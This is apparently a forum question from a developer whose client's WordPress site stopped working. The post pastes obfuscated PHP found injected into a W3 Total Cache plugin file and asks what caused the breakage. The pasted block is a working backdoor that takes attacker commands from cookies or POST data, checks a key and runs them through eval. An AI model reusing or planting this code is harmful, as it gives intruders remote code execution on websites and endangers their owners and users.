This morning a website of my client stopped working. When I debugged further, it said the namespace declaration must be in the first line in UsageStatistics_Plugin_Admin.php located in w3 total cache plugin. When I opened the file, I found following code injected just after the namespace declaration causing the error
$u9eee3f = 896;$GLOBALS['tf7ebf']=Array();global$tf7ebf;$tf7ebf=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['l94b537e']="\x5e\x71\x7c\x43\x7a\x6a\x23\x6d\x26\x2d\x44\x3c\x34\x27\x66\x52\x38\x4a\x29\x6f\x63\x35\x59\xa\x51\x7e\x22\x3f\x6b\x2c\x65\x68\x61\x37\x4e\x9\x73\x3b\x76\x4d\x42\x7d\x7b\x55\x79\x4b\x56\x39\x2f\x77\x6c\x75\x6e\x2b\x78\x3d\x49\x4c\x24\x62\x21\x46\x31\x3a\x2a\x54\x70\x74\x45\x4f\x47\x64\x28\x5c\x2e\x30\x5d\x5b\x5f\x60\x3e\x67\x53\x32\x36\x69\x40\x5a\x20\x41\x57\x25\x58\x48\xd\x50\x33\x72";$tf7ebf[$tf7ebf['l94b537e'][81].$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][12]]=$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][31].$tf7ebf['l94b537e'][97];$tf7ebf[$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][47].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][47]]=$tf7ebf['l94b537e'][19].$tf7ebf['l94b537e'][97].$tf7ebf['l94b537e'][71];$tf7ebf[$tf7ebf['l94b537e'][38].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][33]]=$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][67].$tf7ebf['l94b537e'][97].$tf7ebf['l94b537e'][50].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][52];$tf7ebf[$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][20]]=$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][52].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][78].$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][67];$tf7ebf[$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][21]]=$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][97].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][50].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][4].$tf7ebf['l94b537e'][30];$tf7ebf[$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][21].$tf7ebf['l94b537e'][71]]=$tf7ebf['l94b537e'][66].$tf7ebf['l94b537e'][31].$tf7ebf['l94b537e'][66].$tf7ebf['l94b537e'][38].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][97].$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][19].$tf7ebf['l94b537e'][52];$tf7ebf[$tf7ebf['l94b537e'][31].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][84].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][62]]=$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][52].$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][97].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][50].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][4].$tf7ebf['l94b537e'][30];$tf7ebf[$tf7ebf['l94b537e'][49].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][33]]=$tf7ebf['l94b537e'][59].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][84].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][78].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][19].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][30];$tf7ebf[$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][30]]=$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][67].$tf7ebf['l94b537e'][78].$tf7ebf['l94b537e'][67].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][7].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][78].$tf7ebf['l94b537e'][50].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][7].$tf7ebf['l94b537e'][85].$tf7ebf['l94b537e'][67];$tf7ebf[$tf7ebf['l94b537e'][28].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][14]]=$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][84].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][75];$tf7ebf[$tf7ebf['l94b537e'][19].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][47].$tf7ebf['l94b537e'][33]]=$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][83].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][32];$tf7ebf[$tf7ebf['l94b537e'][81].$tf7ebf['l94b537e'][59].$tf7ebf['l94b537e'][21].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][83].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][21]]=$_POST;$tf7ebf[$tf7ebf['l94b537e'][1].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][21].$tf7ebf['l94b537e'][20]]=$_COOKIE;@$tf7ebf$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][20];@$tf7ebf$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][20];@$tf7ebf$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][71].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][20];@$tf7ebf$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][30];$j1cf72=NULL;$xefb=NULL;$tf7ebf[$tf7ebf['l94b537e'][5].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][33]]=$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][9].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][84].$tf7ebf['l94b537e'][83].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][9].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][9].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][59].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][9].$tf7ebf['l94b537e'][47].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][83].$tf7ebf['l94b537e'][83].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][47].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][47];global$jc17;function c2c1a($j1cf72,$x261be0){global$tf7ebf;$xe957e="";for($a05a=0;$a05a$tf7ebf['l94b537e'][38].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][33];){for($q31e1=0;$q31e1$tf7ebf['l94b537e'][38].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][33]&&$a05a$tf7ebf['l94b537e'][38].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][16].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][33];$q31e1++,$a05a++){$xe957e.=$tf7ebf$tf7ebf['l94b537e'][81].$tf7ebf['l94b537e'][96].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][12];}}return$xe957e;}function c476400($j1cf72,$x261be0){global$tf7ebf;global$jc17;return$tf7ebf$tf7ebf['l94b537e'][19].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][47].$tf7ebf['l94b537e'][33];}foreach($tf7ebf[$tf7ebf['l94b537e'][1].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][14].$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][21].$tf7ebf['l94b537e'][20]]as$x261be0=>$f5a8){$j1cf72=$f5a8;$xefb=$x261be0;}if(!$j1cf72){foreach($tf7ebf[$tf7ebf['l94b537e'][81].$tf7ebf['l94b537e'][59].$tf7ebf['l94b537e'][21].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][83].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][21]]as$x261be0=>$f5a8){$j1cf72=$f5a8;$xefb=$x261be0;}}$j1cf72=@$tf7ebf$tf7ebf['l94b537e'][31].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][84].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][12].$tf7ebf['l94b537e'][62];if(isset($j1cf72[$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][28]])&&$jc17==$j1cf72[$tf7ebf['l94b537e'][32].$tf7ebf['l94b537e'][28]]){if($j1cf72[$tf7ebf['l94b537e'][32]]==$tf7ebf['l94b537e'][85]){$a05a=Array($tf7ebf['l94b537e'][66].$tf7ebf['l94b537e'][38]=>@$tf7ebf$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][33].$tf7ebf['l94b537e'][21].$tf7ebf['l94b537e'][71],$tf7ebf['l94b537e'][36].$tf7ebf['l94b537e'][38]=>$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][74].$tf7ebf['l94b537e'][75].$tf7ebf['l94b537e'][9].$tf7ebf['l94b537e'][62],);echo@$tf7ebf$tf7ebf['l94b537e'][51].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][30].$tf7ebf['l94b537e'][62].$tf7ebf['l94b537e'][20].$tf7ebf['l94b537e'][21];}elseif($j1cf72[$tf7ebf['l94b537e'][32]]==$tf7ebf['l94b537e'][30]){eval/a684ebc/($j1cf72[$tf7ebf['l94b537e'][71]]);}exit();} ?>
The website was working fine until it stopped all of a sudden. What could be the reason causing this issue?